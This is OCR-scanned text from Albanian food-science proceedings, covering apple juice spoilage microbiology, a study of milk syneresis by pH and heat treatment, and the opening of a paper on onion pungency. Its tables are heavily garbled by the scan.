(sidomos acideve organike té dobéta), rritet miré né pijet jo-alkoolike, shkakton
prishjen edhe nése gjendet né njé numér shumé té vogél gelizash. Kéto maja jané
edhe tregues t& mungesés sé higjenés, por kjo ndodh vetém nése dicka shkon gabim
gjaté prodhimit, pér shembull: niveli shumé i ulét ose mungesé e ploté e
konservuesve, ndérfutje e oksigjenit, déshtim i procesit té pasterizimit etj.

Nga bakteret gé u gjendén mbizotérojné forma bakteriale bacilare té palévizshme,
Gram+. dhe mé pak forma bacilare té lévizshme si edhe koke. Disa nga bakteret e
identifikuara jané: Leuconostoc spp, e Brevibacterium spp.

Problemet e shkaktuara nga myqget ndahen né dy tipe: 1- Rritja e ngarkeses mykore
pér shkak té higjenés sé ulét né fabriké ose né mjedisin e fushave, 2- Rritja e mygeve
rezistente ndaj nxehtésisé né Iéngjet e pérpunuara me nxehtési. Myget mund té
shkaktojné njolla, ¢ngjyrime etj. Myqet kserofile (tolerante ndaj sheqgerit) jané
ndotés té zakonshém nése kushtet higjenike jané té uléta. Myget rezistente ndaj
nxehtésisé gé prodhojné askospora apo stuktura té ngjashme Q& ju rezistojné
trajtimeve termike, e shkaktojné prishjen e léngjeve té frutave jané speciet:
Aspergillus ochraceus, A. tamari, A. flavus, Byssochlamys nivea dhe B. fulva (tek
Iéngu i rrushit, prodhojné askospora rezistente respektivisht né 88°C pér 66 min dhe
né 85°C pér 150 min), Paecilomyces variotii, Neosartorya fischeri, Eupenicillium
brefeldianum (tek 1éngu i mollés, prodhon askospora, rezistente né 90°C pér 1 min),
Phialophora spp. (tek Iéngu i mollés, prodhon chlamydospore, rezistente né 80°C pér
2. 3 min), Talaromyces flavus, T. trachyspermum dhe Thermoascus aurantiacus
(Downes F. P and Ito K, eds 2001). T& tjeré pérfshijné: Penicillium notatum, P.
Rogqueforti dhe Cladosporium spp (de Nijs et al. , 2000; Pitt and Hocking, 1997;
Stratford et al. , 2000). Nga ekzaminimet né kété studim rezultuan myqge té gjinive
Aspergillus dhe Penicillium.
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Tabela 1. Informacioni né etiketé: Léngjet e mollés sé gjelbér

Molla e gjelbér *B—Tetra- | *B—Kanage *P—PET *S— Qelq

Pak (BT)— | (BK)—-250ml | (PP)—-1.5L | (SQ)-250ml
2L

Pérmbajtje 40 % 20 % 10% 20%

frutash

Karbohidrate sheqer sheqer sheqer sheqger

Acidifikues acid citrik acid citrik, acid citrik acid citrik

Procesi | pasterizuar | | pasterizuar | | pasterizuar | | pasterizuar.
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Molla e kuge *M. TetraPak | *B. TetraPak— | *B. Pet - ( |J.Qelg—(
—(MT) — 200ml (BT) - 2L BP) - 0. 5L JQ)-1L
Pérmbajtje Pure molle 12% Léng molle 50% fruta
frutash nga pure molle
koncentrati i
léngut té
mollés,
Karbohidrate/ shurup glukoze | Sheger, shurup Nuk éshté i Sheger,
Embélsues — fruktoze, fruktoze dhe shénuar shurup
sheqger glukoze glukozi
Acidifikues acid citrik, acid citrik Nuk éshté i acid citrik
antioksidant, shénuar
acid askorbik.
Procesi Nuk éshté i | pasterizuar. Nuk éshté i Nuk éshté
shénuar shénuar i shénuar

*shkronja pérpara ambalazhit paraget kodifikimin e markés sé produktit.

Tabela 3. Rezultatet e parametrave fiziko-kimé té léngut té mollés gjelbér

Léngu mollés sé | B. B. S. Qelq P. PET
gjelbér Kanage | Tetra-

Pak
% acid citrik anhidér 0.32 0.35 0.48 0.32
C 0.06 0.08 0.10 0. 06
°Brix 12.58 11. 46 12.6 12. 56
Lénda e thaté (%) 12.7 11.4 12.7 12.5
Indeksi i refraksionit 1. 3525 1. 349 1.351 1. 351
Numri formolit (ml) 6. 25 4. 87 5.50 4.75

Tabela 4. Rezultatet e parametrave fiziko-kimé té léngut té mollés sé kuge

Léngu i mollés sé kuge | J. Qelg B. M. B. PET
Tetra- Tetra-
Pak Pak
% acid citrik anhidér 0.16 0.512 0.32 0.32
C 0.04 0.10 0.06 0. 04
°Brix 14. 34 11.5 15. 66 11. 74
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Lénda e thaté (%) 14.3 11.57 15. 62 11.8

Indeksi i refraksionit 1. 35408 1. 1.35618 | 1.
35012 35066
Numri formolit 1.62 4,37 5.25 1.50

Tabela 5. Total kolonité e identifikuara né pjatat e Petrit té mollés sé kuge-dita e
paré

Terreni | M. Tetra- | B. Tetra- | B. PET J. Qelq
Pak Pak CFU CFU
CFU CFU

PCA P.n 0 0 6

MrS 0 0 0 0

Saburo | P.n P.n P.n P.n

Capek | P. n + Myk |2 Myk Myk
mbushur mbushur mbushur
fusha fusha fusha

P. n- pa numérim

35 32
30
25
20
15
10

5 ‘ 2
0 — [—

B.Tetra-Pak B. Kanage P. PET S.Qelq

CFU

Fig. 1. Numri i kolonive té zhvilluara (léngu 1 mollés sé gjelbér — dita 1)
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60 57

50
40 35
230 '
20
10 I I

CFU

B. Tetra-Pak B. Kanage P. PET S. Qelq

Fig. 2. Numri i kolonive té zhvilluara (Iéngu i mollés sé gjelbér — dita 3)

Foto nga kulturat e izoluara

Fig. 3. Bacile josporogjene, me flagjel me njé krah té lévizshém (Pseudomonas
sop,)

Fig. 4. Maja, Rhodotorula spp
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Fig. 5. Bacil sporogjen i ndritshém, i palévizshém

Fig. 6. Bacile me gyp qé formajné léndé mukoze, i palévizshém
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NDIKIMI | PH-IT DHE KOHEZGJATJES SE TRAJTIMIT TERMIK NE
PROCESIN E SINEREZES

Migena Hoxhal, Vlash Mara2

tUniversiteti i Tiranés, Fakulteti i Shkencave Natyrore, Departamenti i
KimiséIndustriale

2 Universiteti Bujgésor i Tiranés Fakulteti i Bioteknologjisé dhe Ushgimit,

Pérmbledhje

Sinereza pérkufizohet si procesi i vegimit té hirrés si rezultat i tkurrjes se masés sé
xhelit. Procesi i sinerezés ndikohet nga faktoré té ndryshém, si pH i qumeshtit,
temperatura e trajtimit termik dhe kohézgjatja e tij, temperatuara e inkubimit,
pérmbajtja yndyrés, aciditeti, pérmbajtja e kripérave, pérmasat dhe fortésia e xhelit
né momentin e prerjes. Qéllimi i kétij studimi ishte studimi i kinetikés sé sinerezés
né varési té vlerave té ndryshme tépH (6,3 dhe 7,0) dhe trajtimit termik (né 70°C
pér 5 minuta dhe 30 minutd). Né studim u morén mostra té quméshteve té lopés,
deles dhe dhisé. Mostrat u analizuan pér vetité fiziko-kimike (densitetin, pH,
acilditetin, pérmbajtjen e proteinés, kazeinén, yndyrnatdhe laktozén) dhe vetité e
koagulimit, si koha e koagulimit té quméshtit (%, né minuta), konsistenca (fortésia) e
xhelit mbas 20-30 minutash (A20 dhe A30, né voll) dhe shpejtésia e forcimit té
xhelit (K20, né volf). Pér té shmangur ndikimin e parametrave kimike, mostrave iu
largua yndyra. Gjaté kétij studimi u vu re se vlera e pH luan rol t& dukshem né
procesin e sinerezés,me uljen e tijshpejtésia e I&shimit t& hirrés rritet ndjeshém.
Pérsa i perket kohézgjatjes sé trajtimit termik, nuk u vu re ndonjé ndikim i dukshém
me pérjashtim té ndonjé rasti.

Fjalét celés:parametrat e koagulimit, optigraf, pH, sinerezé, qumésht.

Abstract

Syneresis is the process of whey separation as result of gel (curd) contract. Syneresis
process is influenced by various factors, such as pH of the milk, heat treatment and
its duration, the temperature of incubation, fat content, acidity, salt content, size and
strength of the gel at the time of cutting. The aim of this study was to investigate the
kinetic of syneresisof milk samples adjusted to different pH values(6.3 and7.0)and
heat treatment (at 70°Cfor 5 minutes and 30 minutes). Where take milk samples
from cows, sheep and goats breed. Samples were analyzed for physical-chemical
properties (density, pH, acidity, protein, casein, fat and lactose) and coagulation
properties, such as milk clotting time(R, /in minutes), curd firmness (Aardness) after
20 and 30 minutes (A20 andA30, in volts) and curd firmness time (K20, in minutes).
To avoid the influence of chemical parameters, from the milk samples were removed
the fat. During this study it was observed that the pH value plays significant role on
syneresis process, by reducing pH values, speed of whey released increased
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significantly. As regards the duration of heat treatment, there was not any noticeable
effect except for any case.

Hyrje

Sinereza pérkufizohet si procesi i vegimit té hirrés dhe komponentéve té saj
sirezultat i tkurrjes sé masés sé brumit (xhelit) dhe nuk konsiton vetém né njé proces
fizik. Matricat e formuara té kazeinés prej koagulimit enzimatik ristrukturohen, duke
formuar njé masé xheli kompakte. Procesi i léshimit té hirrés fillon né momentin e
prerjes sé brumit.Largimi i hirrés ndikon né pérmbajtjen e lagéshtisé sé brumit.
Kontrolli i lagéshtisé sé brumit pér djathé éshté i réndésishém pér shkak té ndikimit
té tij mbi vetité sensoriale dhe cilésingé e djathit. Pér standardizimin e cilésisé sé
djathit duhen kontrolluar té gjithé parametrat, t& cilén ndikojné mbi shpejtésiné e
léshimit té hirrés. Studime té shumta jané kryer lidhur me faktorét gé ndikojné né
procesin e sinerezés, si temperatura, pH, fortésia e xhelit dhe shtesat e klorurit té
kalciumit. Kéto dukuri lidhen ngushté me vetité reologjike dhe mikrostrukturore té
xhelit né momentin e prerjes. Nése brumi do té pritej shpejt, domethéné, kur
konsistenca e brumit éshté shumé e vogél, strukturimi i xhelit do té nderpritej dhe
kjo do té conte né shkatérrim té pjesshém té strukturave té tij. Nése brumi do té
pritej tepér voné, qé do té thoté se konsistenca e xhelit éshté tepér e larté, nga
sipérfagja e brumit do té largohen me shpejtési sasi té hirrés, duke krijuar njé
membrané, e cila do té pengonte largimin e métejshém té hirrés nga brendésia e
brumit. Vlerat e pH-it luajne rol t& dukshém né pércaktimin e karakteristikave
reologjike dhe mikrostrukturore té xhelit.Agregimi i proteinave éshté i ndjeshém
ndaj vlerave té pH, fortésisé jonike dhe vartésisé prej ndérveprimit elektrostatik.
Molekulat e proteinave pésojné ndryshime né vlera té pH mé té uléta ose mé té larta
se pika e izoelektrike e tyre, dhe éshté e pranishme njé shtytje elektrostatike e
dukshme, qg& kundérshton bashveprimet proteine-proteine(Foegeding et
al.,1998).Ndikimi i parametrave si permbajtja e yndyrés, temperatura e inkubimit té
brumit (25, 30 dhe 5°C) dhe kohézgjatja e trajtimit termik té quméshtit (70°C pér 5
ose 30 min) mbi kinetikén e hirrés sé léshuar jané studiuar nga M. M. Calvo dhe E.
Balcones (2000), té cilét kané arritur né pérfundimin se kinetika e sinerezés i
néshtrohet njé ekuacioni té rendit té paré. Kéta faktoré ndikojné né ményré té
drejtpérdrejténékohézgjatjen e procesit té sinerezés.

Duke iu referuar kérkesave té tregut pér produkte té sigurta dhe cilésore, ky studim u
krye mbi kontrollin e procesit té sinerezés dhe faktoréve ndikues mbi kété proces me
géllim pérmirésimin e cilésisé sé produktit final né teknologjinée pérpunimit té
djathit, duke marré né konsideraté edhe standardet e Komunitetit Evropian.

Materiale dhe metoda
1. Materialet e studimit

Né studim u morén : -Mostra té quméshtit té porsamjelé (mjelje e méngjesit),
prej 500 ml, nga raca lope té& ndryshme nga zona e Devollit (Progér) té rritura né
kushte shtépiake (xhersej, laramane, pesé individé pér ¢do racé).
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-Mostra té quméshtit té porsamjelé (mjelje e méngjesit), prej 500 ml, nga raca
deleje té zonaés sé Tiranés (UBT etj), si dhe nga zona e Devollit (Shyec, etj.), té
rritura né kushte shtépiake (rude, merino-cigane, pesé individé pér ¢do racé).

-Mostra té quméshtit té porsamjelé (mjelje e méngjesit), prej 500 ml nga raca
dhije té ndryshme té zonés sé Devollit (Shyec), té rritura né kushte shtepiake (race
franceze “alpine e kuge”, pesé individe pér ¢do racé).

-Mostrat u morén né periudhén mars-prill 2013.

-Mostrave té quméshtit té porsamjelé prej 500 ml, iu shtuan nga 1 ml tretésiré
acid natriumi 1% (p/v) dhe u vendosén né frigorifer né 2-4°C né laborator. Mbi kéto
mostra té quméshtit u kryen analiza pér treguesit e vetive fiziko-kimike, té
koagulimit dhe té sinerezés. Pér cdo mostér u kryen nga dy analiza paralele.

2.Analizat e kryera né materialet e studimit

2-1.Treguesit fiziko-kimiké

Aciditeti (né gradé Térner), pH, densiteti (me laktodensimetér), pérmbajtja e
kazeinés (sipas Sorensen), pérmbajtja e 1éndéve té ngurta jo yndyrore, pérmbajtja e
proteinave, pérmbajtja e yndyrés dhe pérmbajtja e laktozés me Lactoscan
(Ultrasonic milk analyzer APPENDICES).

2-2.Treguesit e koagulimit té quméshtit

Treguesit e koagulimit t& quméshtit u kryen me aparatin Optigraf (AMS- France,
sipas Alves et al, 2004).Quméshti u ngroh, duke u pérzier njékohesisht me
pérzierésmagnetik, deringé 32°C.Njé sasi prej 10 ml nga mostrat me anén e njé
mikropipete u kalua né kyvetén e aparatit dhe u la aty derisa temperatura e aparatit té
arrijé né 32°C. Me tej, u shtua edhe 1 ml tretésiré ujore e kazeinés sé pastért 0,08%
(p/v). Analiza u krye pér 60 minuta. Gjaté késaj periudhe u pércaktuan treguesit e
méposhtém :

a) koha e mpiksjes (koagulimit) sé qumeéshtit, R, né minuta.
b) konsistenca (fortésia) e koagulatit A,y dhe Az né volt.

C) shpejtesia e forcimit té koagulatit K20 né minuta, gé pérfagéson kohén pér
té
arritur njé fortési (konsistence) té koagulatit (xhelit) standard, té lidhur me njé fortési
(konsistencé) té pérshtatshme pér prerje, t€ njévlershme me njé largési 20 mm
ndérmjet dy degéve té parabolés sé rezultatit t€ shprehur grafikisht né Formagraf,
zévendésuar né Optigraf me njé njévlerés (ekuivalent) té konsistencés standarde prej
6,5V.

2-3.Treguesit e sinerezés

Mostrat e quméshtit, pas matjeve té vetité fiziko- kimike dhe té koagulimit, u ¢cuan
né pH 6.3 népermjet shtimit t¢ HCI 1N dhe né pH 7 me NaOH 1 N me ndihmén e
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njé pérzierési magnetik me ngrohje né temperaturén 25°C.Mostrat u inkubuan né
banjomari (WNB 7, Memmert)né temperaturén 30°C pér 20 minuta dhe mé pas u
centrifuguan me 3000 rpm pér 30 min.Mbas centrifugimit u vendosén né banjo
akulli pér 30 minuta dhe mé pas me ndihmén e njé spatule iu largua yndyra.Mostrat
e skremuara u filtruan me filtra qgelgi né ményré gé té largohej ¢cdo mbetje e
yndyrés.Mostrat u trajtuan termikisht né 70°C pér 5 minuta dhe 30 minuta, u ftohén
né banjo akulli dhe u ruajtén né kéto kushte deri né momentin e analizimit.Pér
vlerésimin e vetive té sinerezés sé quméshtit u veprua si mé poshté :Né njé goté
kimike 100 ml u shtua 60 ml qumésht dhe u ngroh deri né temperaturén 30°C. Me tej
u shtua 1 ml preparat enzimatik dhe u krye inkubimi né kété temperaturé. Duke gené
se paraprakisht ishin pércaktuar vetité e koagulimit, masa e brumit u pre pas 15
minutash nga koha e koagulimit (R) me ané té njé spatule (kryq e térthor dhe rreth e
rrotull). Mbas prerjes, mbi sipérfagen e brumit u vendos njé plastike me vrima.
Sinereza u pércaktua duke matur véllimin e hirrés sé léshuar pas 30, 50, 70, 90, 110,
130 e 150 minuta, né 30 °C. Hirra e léshuar u analizua pér pérmbajtjen e proteinés
totale me anén e aparatit Lactoskan. Té gjitha analizat u kryen né dy prova paralele
(M. M. Calvo).

Rezultate dhe diskutime

1.Treguesit fiziko-kimiké té& quméshtit

Té dhénat e tabelés 1 tregojné se vlerat mesatare té treguesve fiziko-kimiké té
mostrave té quméshtit té racave té deles, lopés dhe dhisé luhaten né vlera té péraférta
me ato té studimeve té kryera nga autoré té tjeré (Martins A.P.L., De Marchi.M,
Pellegrini O.), si dhe matjet tona té kryera gjaté viteve 2011 - 2013, me njé luhatje
brenda njé shkalle né pérputhje me ndryshueshmering e pérbérésve kimik té
guméshtit té racave pérkatése.

Ndérmjet vlerave té treguesve fiziko-kimik dhe té koagulimit té mostrave té
guméshtit té deles, lopés dhe dhisé konstatohet ndryshueshméri (P < 0,05).
Rezultatet e méposhtme shprehin ndryshime té dukshme té treguesve fiziko-kimik té
gumeéshtit ndérmjet racave pér géllime teknologjike.

Tabela 1. Vlerat mesatare té treguesve fiziko-kimik dhe vetité koaguluese té
mostrave té qumeéshtit té deles, lopés dhe dhisé.

Vetité e koagulimit Treguesit fiziko-kimik
R A20 A30 OKZ D Ac P K Y SNF L
min volt volt ' lakt. T % % % % %
LOPE
Xhersej 81:0 7.23 32,3 ;:3 3’02 g,l 2,3 2,0 3,5 8,5 2,4
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Larama i 70 103 02 37 23 55 49
ne 8:16 8,64 14,7 4 3 9 3 5 3 9,49 8
DHI

Alpina e . 6:1 1,03 01 3,5 4.8 47
Kuge 8:56 10,7 20 0 1 6 5 2,5 7 9,07 7
DELE

Merino- 10:0 14,7 6.5 35 103 01 60 42 53 113 4,2
Cigan 3 3 0 8 9 5 6 3 4 3
Rudé 11:3 92 177 60 103 01 40 31 71 102 53

0 4 4 6 3 2 3 1 3

n=>5 (individé pér ¢do racé) , P < 0.05 (Treguesi i ndryshueshmérisg)

2. Treguesit e koagulimit té quméshtit

Ndryshimet e pérmbajtjes sé treguesve fiziko-kimik té proteinave, kazeinave,
yndyrés dhe mbetjeve joyndyrore té ngurta ndérmjet racave té deles, lopés dhe dhisé
pasgyrohen edhe né vlerat e treguesve té koagulimit té quméshtit.

Vlerat e kohés sé koagulimit (R) té quméshtit té racave té lopés, dhisé dhe deles
rezultojné té péraférta, me ndonjé pérjashtim, mesatarisht 8:16-11:00 minuta,
8:56minuta dhe 10:03-11:30 minuta pérkatésisht.Vlerat e konsistencés (fortésia) sé
koagulatit (xhelit) pas 20-30 minutash (Az) dhe (A30)rezultojné me té larta né
quméshtin e racés sédeles “merino-cigane” respektivisht 14,73volt dhe 26,5 volt
dhe mé t€ uléta te raca e lopés “xhersej” respektivisht 7,23 volt dhe 12,3. Vlerat e
shpejtésisé seforcimit té koagulatit (Ky) né minuta té mostrave té quméshtit, té
racés sédeles “merino-cigane”, rezultojné rreth 2 herémé té uléta se ato té
gumeéshteve té racave té tjera té marra né studim.

Vlerat e uléta té Ky, shprehin vlera té larta té shpejtésisé sé forcimit té koagulatit. Né
rastet e marra né studim né kété periudhé rezulton seshpejtési mété ulét té forcimit té
koagulatit kané shfaqur quméshtet e racave té lopés.

Ndryshime té treguesve té koagulimit té quméshtit (P <0.05) vérehen edhe
brenda racave, gcka shpreh mé sé miri ndryshueshmeériné e kétyre treguesve pér
arsye té faktoreve gjenetiké, té zonés gjeografike dhe té kushteve té rritjes dhe
periudhés sé laktacionit,

Vlerat e pérftuara té treguesve té koagulimit t&€ quméshtit té racave té deles, lopés
dhe dhisé jané té péraférta me vlerat mesatare té kétyre treguesve gé hasen edhe né
studime analoge té quméshtit té racave té vendeve té ndryshme.
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8:24
7:12
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‘= 4:48

o 3:36

X 2:24

1:12
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2,06 2,35 2,5 4,26 3,12

(min)

2

Kazeina (%)

Figura nr.1Vierat mesatare té shpejtésisé sé forcimit té
brumit  (K20) pérkundrejt  pérmbajtjes sé  kazeinés
respektivishtlope xhersef dhe laramane, dhi alpina e kuge
ahe dele merino-cigane, rude.

3. Treguesit e sinerezés

Té dhénat e tabelés nr. 2 tregojné se vlera e pH té quméshtit luan rol té dukshém né
procesin e sinerezés dhe se me uljen e tijshpejtésia e léshimit té hirrés rritet
ndjeshém.Gjaté studimit u vure se quméshtet me pH 6,3 léshojné sasi mé té madhe
té hirrés deri né minutén e 90 té inkubimit, ndérsa ndryshe ndodh me procesin e
drenimit té hirrés sé quméshteve me pH 7, ku procesi i Iéshimit té hirrés zhvillohet
me shpejtési konstante. Véllimi i pérgjithshém i drenimit té hirrés rezulton mé i larté
né quméshtin e lopés né té dyja vlerat e pH dhe té kohézgjatjes sé trajtimit termik né
temperaturén e inkubimit30°C dhe mé e ulét te quméshti i deles.

Pérmbajtja e proteinave té hirrés éshté aférsisht e njéjté né té trija rastet e sinerezés
sé qumeéshtit té racave té deles, lopés dhe dhisé, por véllimi mé i larté i drenimit té
hirrés né mostrat e quméshtit t& lopés né krahasim me mostrat e dhisé dhe deles
tregon sé gjaté sinerezés vérehet njé humbje mé e madhe e proteinave té brumit té
lopés né krahasim me ato té brumit té deles dhe dhisé. Ky rezultat &shté né pajtim
edhe me té dhéna té literaturés ( M. M. Calvo,SneZana Jovanovic, 2004).

Ndérmjet treguesit té kohés sé koagulimitdhe véllimit té drenimit té hirrés nuk
konstatohet ndonjé lidhje. Pérsa i pérket konsistencés sé xhelit u konstatua se xhelet
me konsistencé té ulét kané aftésiné té léshojné mé shpejt sasité e hirrés dhe
komponentéve té saj, ndérkohé gé xhelet me konsistencé me té larté shfaqgin aftési
mé té madhe ujémbajtése.
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Tabela nr 2. Treguesit e sinerezés (koha e koagulimit,koha e inkubimit, véllimi i
hirrés dhe proteinat e hirrés) té mostrave té quméshtit té deles, lopés dhe dhisé
pér temperaturat e inkubimit 30°C, pH 6,3 dhe 7 té trajtuara termikisht né 70
°C pér 5 minuta dhe 30 minuta.

Koha (min)/véllimi  ml  hirre/

R_ temperatura e inkubimit 30 'C L
(min B 15 hirré
S
) 3 50 4, , 110 130
LOPE
1120 7 175 2 2 29 34 39 258
Xhersej pH7/5 min ' Y 2 6 :
. 3 3
Xhersej pH8,3/5 min 11:20 24 32 - o 41 44 45 286
. 2, 1 2
Xhersej pH7/30min 20 5 9 5 o 2 31 3% 25
. 3 3
Xhersej pH6,3/30 min 11:20 19 25 5 . 37 395 41 287
. 2 3
Laramane pH7/5 min 9:.16 7 &6 2 0 38 40 43 2,76
Laramane  pHB3/5 o106 59 39 3 3 g5 45 47 202
min 5 9
9:16 2 2 355 35 39 278
Laramane pH7/30 min ™ 10 15 2 8 ' '
Laramane  pH6.3/30 4.5 43 25 3 3 39 4 w204
min 0 5
DHI
Alpina e kuge PH75 g9 14 50 2 3 37 40 41 265
min 7 2
Alpina e kuge pH6.3/5 g.09 17 975 3 3 40 42 43 274
min 4 7
Alpina e kuge pH7/30 g.49 g 15 2 2 37 40 41 262
min 2 9
Alpina e kuge . 3 3
0H6,3/30 min 9:00 15 25 5 3 41 43 43 274
DELE
M_erlno-ClganepH7/5 11:06 - ) ) i 05 35 5 NA
min
Merino-Cigane ) 3 3
oH6.3/5 min 11:06 16 25 , . 38 40 42 3,09
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Merino-Cigane pH7/30

7 11:06 - - - = - - _ NA
min
Merino-Cigane _ 2 3
pH6,3/30 min 11:06 16 24 o , 36 38 40 305
. 1 2
Dele UBT pH7/5min 1300 5 10 ¢ > 28 38 37 28
: 3 3
Dele UBT pH6,35min 500 14 23 g g 42 44 45 28
Dele UBT pH7/30 min  13:00 - - - 1 3 5 75 272
Dele UBT pHE3/30 4300 7 13 2 2 41 a4 45 272
min 5 1 9

Pérfundime

Treguesit e pérmbajtjes sé proteinave, kazeinés, yndyrés dhe mbetjeve joyndyrore té
ngurta (SNF) né mostrat e quméshtit té deles rezultojné mé té larta se ato té
guméshtit té lopés e té dhisé.Vlerat e kohés sé koagulimit (R) té quméshtit té
racave té lopés, dhisé dhe deles rezultojné té péraférta.Vierat e konsistencés
(fortésia) sé koagulatit (xhelit) pas 20 e 30 minutash (A,g) dhe (A30) rezultojné me
té larta n€ quméshtin e racés s€ deles “merino-cigane” dhe mé t&€ uléta te raca e lopés
“xhersej”. Vlerat e forcimit té koagulatit (K,) né minuta té mostrave té quméshtit
té racés sé deles “merino-cigane” rezultojné rreth 2 herémé té uléta se ato té
gumeéshteve té racave té tjera t& marra né studim.Mostrat e quméshtit me pH 6,3
léshojné sasi mé té madhe té hirrés deri né minutén e 90 té inkubimit, ndérsa
ndryshe ndodh me procesin e drenimit té hirrés sé quméshteve me pH 7, ku procesi
Iéshimit té hirrés zhvillohet mé shpejtési konstante.

VEllimi i pérgjithshém i drenimit té hirrés rezulton mé i larté né quméshtin e lopés
né té dyja vlerat e pH-it dhe té kohézgjatjes sé trajtimit termik né temperaturén e
inkubimit 30 °C dhemé e ulét te quméshti i deles.

Ndérmjet treguesit t€ kohés sé koagulimitdhe véllimit té& drenimit t& hirrés nuk
konstatohet ndonjé lidhje. Xhelet me konsistencé té ulét kané aftésiné té l1éshojné mé
shpejt sasité e hirrés dhe komponentéve té saj, ndérkohé gé xhelet me konsistencé
me té larté shfaqgin aftési mé té madhe ujémbajtése.

Bibliografi
M. M. Calvo and E. Balcones. 2000. Some Factors Influencing the Syneresis of
Bovine,Ovine, and Caprine Milks, J Dairy Sci 83:1733-1739.

Johnson, M. E., C. M. Chen, and J. J. Jaeggi. 2001. Effect of rennet coagulation
time on composition, yield, and quality of reducedfat cheddar cheese. J. Dairy Sci.
84:1027-1033.

248



Marshall, R. 1982.An improved method for measurement of the syneresis of curd
formed by rennet action on milk. J. Dairy Res.49:329-336.

McMahon, D. J., R. J. Brown, G. H. Richardson, and C. A.Ernstrom. 1984.
Effects of calcium, phosphate and bulk culture media on milk coagulation
properties. J. Dairy Sci. 67:930-938.

Lucey, J. A., and P. F. Fox. 1993. Importance of calcium and phosphate in cheese
manufacture: A review. J. Dairy Sci. 79:1714-1724.

Lucey, J. A. 2002. Formation and physical properties ofmilk protein gels.J. Dairy
Sci. 85:281-294.

Mishra, R., S. Govindasamy-Lucey, and J. A. Lucey. 2005. Rheological
properties of rennet-induced gels during the coagulation and cutting process: Impact
of processing conditions. J. Texture Stud.36:190-212.

Lawrence, A. J. 1959. Syneresis of rennet curd.Part 1.Effect of time and
temperature. Aust. J. Dairy Technol. 14:166-168.

Martins A.P.L., Belo A.T., Vasconcelos M.M., Fontes A.L., Pereira E.A., and
Belo C.C.,Characterisation of production system of Niza cheese (PDO): Effect of
sheep breed on milk composition and coagulation properties, Options
Meéditerranéennes, A no. 91, 2009, p. 221-225

Alves S.M.P., Martins A.P.L..Mourato M.P.,Vasconcelos M.M. and
FontesA.M.L.,Effect of clotting agent on coagulation properties of sheep milk. In:
Proceedings of the International Symposium "TheFuture of the Sheep and Goat
Dairy Sectors", FIL/IDF-CIHEAM, Zaragoza (Spain), 28-30 October 2004, p. 278-
279

McMahon D.J. and Brown R.J.,Evaluation of Formagraph for comparing rennet
solutions. In: J.DairySci., 65, 1982, p. 1639-1642.

Pellegrini O., Remeuf F. and RivemaleM.,Evolution des caractéristiques physico-
chimiques et des paramétres de coagulation du lait de brebis collecté dans la région
de Roquefort. In: Lait, 74,1994, p. 425-442.

De Marchi.m, Dal Zooto.R, cassandro.M, and Bittante.G, Milk coagulation
ability of five dairy cattle breeds, American dairy Science Association, April
15,2007, p. 3986-3992.

Delacroix-Buchet A., Barilet F., and Lagrifoul G., Caracterisation de
I’aptodudefromagere des laits de brebis Lacaune a ’aide d’un Formagraph,In: Lait,
1994, p. 173-186.

Toffanin.VV ,DeMarchi.M, Penasa.M, Pretto.M,Cassandro.M, Characterization of
milk coagulation ability in bulk milk samples, 20th Int. Symp. “Animal Science
Days”, Kranjskagora, Slovenia, Sept. 19th—21st, 2012.

SneZana Jovanovi¢,"O. Maéej' and Jelena Denin-Djurdjevié'Ifluence of selected
factors on induced szneresis, Journal of Agricultural SciencesVol. 49, No 2, 2004,
Pages 205-217

249



INFLUENCA E SQUFURIT DHE TIPIT TE KULTIVARIT NE
PERMBAJTJEN E LENDEVE TE THATA TE TRETSHME DHE TE
DJEGESIRES NE QEPE

Spiro Gjanci, Genci Como
Universiteti i Korgés, Fakulteti i Bujgésisé, Agronom prané USAID, Korcé

Pérmbledhje

Aroma né gepé (Allium cepa) dominohet nga komponimet organosulfurore
gé e kané origjinén nga dekompozimi enzimatik i pararendésve aromatiké si sulfur
oksidet e alkenil cisternés nga enzima allinazé kur indi copétohet mekanikisht dhe
enzima dhe substrati vijné né kontakt me njéri tjetrin. Produktet e paré té
dekompozimit jané acidi piruvik, amoniaku dhe acidet sulfenike gé jané kimikisht té
pagéndrueshém.

Njé vlerésim i njohur i djegésirés kryhet duke matur acidin piruvik, i cili
formohet si komponim parésor i géndrueshém nga dekompozimi enzimatik i secilit
nga pararendésit aromatiké. Ai éshté megjithaté vetém njé indikator i djegésirés
megenése acidi piruvik nuk kontribuon drejtpérdrejt né aromén e gepés. Analiza
éshté pérpunuar dhe zhvilluar nga Schwimmer dhe Weston (1961).

Intensiteti i aromés pércaktohet nga gjenetika e kultivarit dhe ambienti né té
cilin rritet ai. Faktorét ambientalé gé influencojné né intensitetin e aromés jané
pérgendrimi i sulfateve, i ujit dhe temperatura.

Djegésira éshté njé tregues i réndésishém cilésor i qepés. Qepét me djegésiré
té ulét kané njé koncentrim té acidit piruvik < 3nmol/ g.

Obijektivi i kétij studimi &shté ishte matja e koncentrimit té acidit piruvik né
disa kultivaré gepésh gé rriten né rajonin e Korcés dhe vlerésimi i efektit té niveleve
té squfurit né toké, mbi djegésirén e gepéve.

Fjalé gelés: Allium cepa, acid piruvik, aromé, rendiment, diametri.

Abstract

Flavor in onions (Allium cepa L.) is dominated by organosulfur compounds arising
from the enzymatic decomposition of S-alk(en)yl-L cysteine S-oxide (ACSOs)
flavor precursors by alliinase when the tissue is mechanically disrupted and the
enzyme and substrate are brought together. Primary decomposition products from
the three ACSOs include pyruvic acid, ammonia, and chemically unstable sulfenic
acids.

A common assessment of pungency is made by measuring pyruvate, which is
formed as a stable primary compound from the enzymatic decomposition of each of
the flavor precursors. Pyruvate concentration is stoichiometrically proportional to
the amount of lysed ACSOs. It is however only an indicator of pungency as
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pyruvate does not directly contribute to onion flavor. The assay was developed by
Schwimmer and Weston (1961).

Flavor intensity is determined by the genetics of the cultivar and the environment in
which the cultivar is grown. Environmental factors which affect flavor intensity are
sulfate availability, temperature and water availability.

Pungency is a major quality attribute of onion. Typically, low pungency onions have
a pyruvate concentration of ca. < 31 mol/ g FW.

The objective of this research was to measure pyruvate concentration in several
cultivars of onions grown in Korca and establish the effect of sulfur level in the soil
on pungency.

Key words: Allium cepa, pyruvic acid, flavor, yield, diameter class

Materialet dhe metoda
Kimikatet dhe bulbat e qepéve.
Acidi piruvik dhe dinitrofenilhidrazina (DNPH) u blené nga firma Merck.

Farat u mbollén né 11. Mars 2011 né Menkulas, Korcé dhe transplantet u
transplantuarn me 8 Qershor 2011. Bimét u vendosén né ¢do 12 cm né vijé dhe me
